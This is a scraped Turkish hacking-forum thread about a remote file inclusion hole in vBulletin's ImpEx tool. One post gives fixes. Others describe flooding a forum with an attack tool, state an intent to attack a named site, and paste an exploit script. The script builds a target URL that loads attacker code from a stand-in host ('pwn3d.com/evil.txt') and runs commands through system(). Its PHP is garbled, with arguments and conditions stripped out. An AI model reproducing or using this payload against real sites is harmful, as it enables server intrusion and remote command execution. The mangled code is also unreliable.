install açığı vardı pek nadir onu da değiştirirsen bişi olmas bu dünyada da bür dünyada da yanmanın yolu plajdan geçer

bu acigi http://www.xorcrew.net/ReZEN/ adresinde cok guzel anlatmislar.. http://www.xorcrew.net/ReZEN/images/freeillwillscreeny. jpg buda bu acik ile yapilan.. acikcasi biraz sansli olmaniz lazim impex tool herkez tarafindan kullanilmiyor.. bir database den vbulleting in kendi database ine bilgileri cekmek icin gelistirdigi bir teknologi. kullanici adlari adres etc. ama denemenizde fayfa var.. kullanimi cok basit. acigi kapatmak icin bir yama henuz yayinlanmamis.. en azindan sitede oyle yaziyo ve vbulleting dede bu tarzda yayinlanmis bir haber gormedim.. fakat impex i kullanmassan bu acik ile dusurulmezsin.. yada. htaccess kullan zira index ile ayni klasorde degiller.. ama kesin cozum bu araci kullandiktan sonra impex i silmen.. ii calismalar kolay gelsin. D &#1105; &#1048; &#302; &#379; / Kalbimi hack"leyebilirsin ama ruhumu asla. - Türkler warez"e düşene vurmazlar. - Hardware ci olup teknolojinin cefasını çekeceğime, programmer olur sefasını sürerim.

denizhan kardei bu açık nerde tam olarak anlayamadım veya nasıl kapatabilirim bir yardımcı olabilirmisin türk kızlarından sabun yapalım, rus kızları elini yıkasın.:)

vBulletin v3.5.4 forumuunun açığı varmı bilen varsa yardımcı olursa sevinirim. güvenlik için soruyorum açmayı düşünüyorum şu anda holyone denyolaunchhhla denedim pek bi verim alamadım kabul etmiyo 20 tane açtım saniye başı atıyolar ama 2 dakkada anca 20 post oldu. yani denyolaunchla saldıramazlar :D başka bi yntem olurmu türk kızlarından sabun yapalım, rus kızları elini yıkasın.:)

kardes yeni cikmis bir acigi varmis... guzel yani halada patc calismasi yokmus..3-5-4 / 3-5-3 / 3-5-2 de calisiyormusben gen turks.com a saldircaktim ama orada bunu kullanmamislar../ vbulletin ImpEx Remote File Inclusion Exploit c0ded by ReZENSh0uts: xorcrew. net, ajax, gml, #subterrain, My gfurl: http://www.xorcrew.net/ReZENexample:turl: http://www.target.com/impex/ImpExData. php?systempath=hurl:http://www.pwn3d.com/evil. txt? /$cmd = $_POST ;$turl = $_POST ;$hurl = $_POST ;$form= "" ."turl:value=\"".$turl."\">" ."hurl:value=\"".$hurl."\">" ."cmd:value=\"".$cmd."\">" ."" ."";if (! isset else{$file = fopen ;fwrite($file, "system ; ?>");fclose ;$file = fopen ;if echo $form;while (! feof $tpos1 = strpos ;$tpos2 = strpos ;$tpos1 = $tpos1+strlen ;$tpos2 = $tpos2-$tpos1;$output = substr($line, $tpos1, $tpos2);echo $output;}?> D &#1105; &#1048; &#302; &#379; / Kalbimi hack"leyebilirsin ama ruhumu asla. - Türkler warez"e düşene vurmazlar. - Hardware ci olup teknolojinin cefasını çekeceğime, programmer olur sefasını sürerim.